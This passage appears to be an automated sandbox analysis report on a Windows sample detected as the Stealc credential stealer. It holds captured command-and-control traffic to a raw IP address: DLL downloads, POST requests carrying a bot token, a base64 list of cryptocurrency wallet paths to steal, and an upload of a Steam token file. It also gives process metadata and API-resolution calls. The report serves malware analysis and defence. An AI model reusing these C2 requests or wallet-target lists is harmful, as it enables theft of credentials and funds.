00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 25, 2024 07:28:23.191735029 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 07:28:23.471116066 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 25, 2024 07:28:23.660254955 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 25, 2024 07:28:24.928307056 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 25, 2024 07:28:24.931804895 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 25, 2024 07:28:24.932477951 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:23 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 25, 2024 07:28:25.472208977 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHI Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 25, 2024 07:28:26.257481098 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 07:28:26.324350119 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEGDAKEHJDHIDHJJDAE Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------AKEGDAKEHJDHIDHJJDAEContent-Disposition: form-data; name="message"wallets------AKEGDAKEHJDHIDHJJDAE--
Oct 25, 2024 07:28:26.606443882 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:26 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 25, 2024 07:28:26.609785080 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAFIJKKEHJDHJKFIECA Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 2d 2d 0d 0a Data Ascii: ------BAAFIJKKEHJDHJKFIECAContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------BAAFIJKKEHJDHJKFIECAContent-Disposition: form-data; name="message"files------BAAFIJKKEHJDHJKFIECA--
Oct 25, 2024 07:28:26.891536951 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 07:28:26.906877995 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAAFBKECAKEHIEBAFIE Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="file"------DAAAFBKECAKEHIEBAFIE--
Oct 25, 2024 07:28:27.686148882 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 07:28:27.716516972 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJ Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 2d 2d 0d 0a Data Ascii: ------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="message"ybncbhylepme------JDGIECGIEBKJJJJKEGHJ--
Oct 25, 2024 07:28:28.134479046 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:27 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5793 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f [TRUNCATED] Data Ascii: .pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com.google.com
Oct 25, 2024 07:28:28.137945890 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAKECAEGDHIECBGHIII Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 34 38 32 34 65 33 34 31 61 36 38 39 35 65 39 62 61 31 62 35 30 61 65 61 66 62 35 30 30 66 35 66 33 63 36 38 39 35 33 65 31 32 35 62 35 33 30 38 32 34 66 32 34 62 66 62 33 63 36 34 34 61 31 31 35 33 39 32 38 30 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 43 41 4b 45 43 41 45 47 44 48 49 45 43 42 47 48 49 49 49 2d 2d 0d 0a Data Ascii: ------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="token"c4824e341a6895e9ba1b50aeafb500f5f3c68953e125b530824f24bfb3c644a11539280a------ECAKECAEGDHIECBGHIIIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------ECAKECAEGDHIECBGHIII--
Oct 25, 2024 07:28:28.915796041 CEST	202	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 05:28:28 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	01:28:02
Start date:	25/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7a0000
File size:	1'862'144 bytes
MD5 hash:	4A106F4006AC892E40B6772195F546DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2365598349.00000000013DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2092148553.00000000051A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2364452595.00000000007A1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2365598349.0000000001457000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	39

Executed Functions

Function 007B9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,013F0EA0), ref: 007B98A1
GetProcAddress.KERNEL32(75900000,013F0D50), ref: 007B98BA
GetProcAddress.KERNEL32(75900000,013F0C18), ref: 007B98D2
GetProcAddress.KERNEL32(75900000,013F0CA8), ref: 007B98EA
GetProcAddress.KERNEL32(75900000,013F0CC0), ref: 007B9903
GetProcAddress.KERNEL32(75900000,013F8F30), ref: 007B991B
GetProcAddress.KERNEL32(75900000,013E53E0), ref: 007B9933
GetProcAddress.KERNEL32(75900000,013E5480), ref: 007B994C
GetProcAddress.KERNEL32(75900000,013F0C30), ref: 007B9964
GetProcAddress.KERNEL32(75900000,013F0CD8), ref: 007B997C
GetProcAddress.KERNEL32(75900000,013F0E88), ref: 007B9995
GetProcAddress.KERNEL32(75900000,013F0D80), ref: 007B99AD
GetProcAddress.KERNEL32(75900000,013E5300), ref: 007B99C5
GetProcAddress.KERNEL32(75900000,013F0E10), ref: 007B99DE
GetProcAddress.KERNEL32(75900000,013F0E58), ref: 007B99F6
GetProcAddress.KERNEL32(75900000,013E5240), ref: 007B9A0E
GetProcAddress.KERNEL32(75900000,013F0E70), ref: 007B9A27
GetProcAddress.KERNEL32(75900000,013F0FA8), ref: 007B9A3F
GetProcAddress.KERNEL32(75900000,013E5220), ref: 007B9A57
GetProcAddress.KERNEL32(75900000,013F0F30), ref: 007B9A70
GetProcAddress.KERNEL32(75900000,013E52C0), ref: 007B9A88
LoadLibraryA.KERNEL32(013F0EE8,?,007B6A00), ref: 007B9A9A
LoadLibraryA.KERNEL32(013F0F48,?,007B6A00), ref: 007B9AAB
